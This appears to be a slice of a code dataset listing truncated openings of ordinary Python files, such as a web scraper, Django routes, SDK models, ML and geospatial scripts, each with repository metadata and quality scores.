mask = np.zeros([height, width, len(locations)],
... | 2.21875 | 2 |
myBeautifulSoup.py | ZhongXinWang/python | 0 | 4987 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#Author:Winston.Wang
import requests
from bs4 import BeautifulSoup
print(dir(BeautifulSoup))
url = 'http://www.baidu.com';
with requests.get(url) as r:
r.encoding='utf-8'
soup = BeautifulSoup(r.text)
#格式化
pret = soup.prettify();
u = soup.select('#u1 a')
for i in u:
... | 3.203125 | 3 |
blogsNewsModule/urls.py | adityakekare/NewsAPIDjango | 1 | 4988 | <gh_stars>1-10
from django.urls import path, include
from . import views
urlpatterns = [
path("", views.newsView, name="home"),
path("createBlog", views.CreateBlogView.as_view(), name="createBlog"),
path("myBlogs", views.PostListView.as_view(), name="myBlogs"),
path("single/<int:pk>", views.PostDetailV... | 2.046875 | 2 |
unitClass.py | MatthewZheng/UnitsPlease | 0 | 4989 | <reponame>MatthewZheng/UnitsPlease
#!/usr/bin/python
_author_ = "<NAME>"
_purpose_ = "Sets up the unit class"
class Unit:
'''This is a class of lists'''
def __init__(self):
self.baseUnits = ["m", "kg", "A", "s", "K", "mol", "cd", "sr", "rad"]
self.derivedUnits = ["Hz", "N", "Pa", "J", "W", "C",... | 3.671875 | 4 |
week4/string_format.py | MathAdventurer/Data_Mining | 1 | 4990 | # -*- coding: utf-8 -*-
"""
Created on Wed Feb 26 22:23:07 2020
@author: <NAME>
Try to construct URL with string.format
"""
base_url = "http://quotes.money.163.com/service/gszl_{:>06}.html?type={}"
stock = "000002"
api_type = 'cp'
print("http://quotes.money.163.com/service/gszl_"+stock+".html?type="+ap... | 3.171875 | 3 |
conans/server/server_launcher.py | Wonders11/conan | 6,205 | 4991 | <gh_stars>1000+
from conans.server.launcher import ServerLauncher
from conans.util.env_reader import get_env
launcher = ServerLauncher(server_dir=get_env("CONAN_SERVER_HOME"))
app = launcher.server.root_app
def main(*args):
launcher.launch()
if __name__ == "__main__":
main()
| 1.71875 | 2 |
sdk/videoanalyzer/azure-mgmt-videoanalyzer/azure/mgmt/videoanalyzer/models/_models.py | praveenkuttappan/azure-sdk-for-python | 2,728 | 4992 | <filename>sdk/videoanalyzer/azure-mgmt-videoanalyzer/azure/mgmt/videoanalyzer/models/_models.py
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root fo... | 1.851563 | 2 |
blender/arm/material/cycles.py | philipmduarte/armory | 1 | 4993 | #
# This module builds upon Cycles nodes work licensed as
# Copyright 2011-2013 Blender Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | 1.671875 | 2 |
src/config.py | Jizanator/botty | 0 | 4994 | import configparser
import numpy as np
import os
class Config:
def _select_val(self, section: str, key: str = None):
if section in self._custom and key in self._custom[section]:
return self._custom[section][key]
elif section in self._config:
return self._config[se... | 2.65625 | 3 |
aps/transform/utils.py | haoxiangsnr/aps | 2 | 4995 | # Copyright 2019 <NAME>
# License: Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
import math
import numpy as np
import torch as th
import torch.nn as nn
import torch.nn.functional as tf
import librosa.filters as filters
from aps.const import EPSILON
from typing import Optional, Union, Tuple
def init_wind... | 2.046875 | 2 |
applications/tensorflow/cnns/models/resnet.py | xihuaiwen/chinese_bert | 0 | 4996 | <reponame>xihuaiwen/chinese_bert
# Copyright 2019 Graphcore Ltd.
from models.resnet_base import ResNet
import tensorflow.compat.v1 as tf
import tensorflow.contrib as contrib
from tensorflow.python.ipu import normalization_ops
# This is all written for: NHWC
class TensorflowResNet(ResNet):
def __init__(self, *ar... | 2.046875 | 2 |
backend/app/migrations/0021_auto_20201205_1846.py | mareknowak98/AuctionPortal | 0 | 4997 | <filename>backend/app/migrations/0021_auto_20201205_1846.py<gh_stars>0
# Generated by Django 3.1.4 on 2020-12-05 18:46
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0020_auto_20201204_2324'),
]
operations = [
migrations.AlterFi... | 1.359375 | 1 |
rawcdf_extract.py | bedaro/ssm-analysis | 0 | 4998 | <reponame>bedaro/ssm-analysis<gh_stars>0
#!/usr/bin/env python3
import time
import os
import tempfile
import shutil
import logging
from enum import Enum
from argparse import ArgumentParser, Namespace, FileType
from netCDF4 import Dataset, MFDataset
import geopandas as gpd
import numpy as np
domain_nodes_shp = "gis/ss... | 2.140625 | 2 |
libcity/executor/map_matching_executor.py | nadiaaaaachen/Bigscity-LibCity | 1 | 4999 | <filename>libcity/executor/map_matching_executor.py
from logging import getLogger
from libcity.executor.abstract_tradition_executor import AbstractTraditionExecutor
from libcity.utils import get_evaluator
class MapMatchingExecutor(AbstractTraditionExecutor):
def __init__(self, config, model):
self.model ... | 2.515625 | 3 |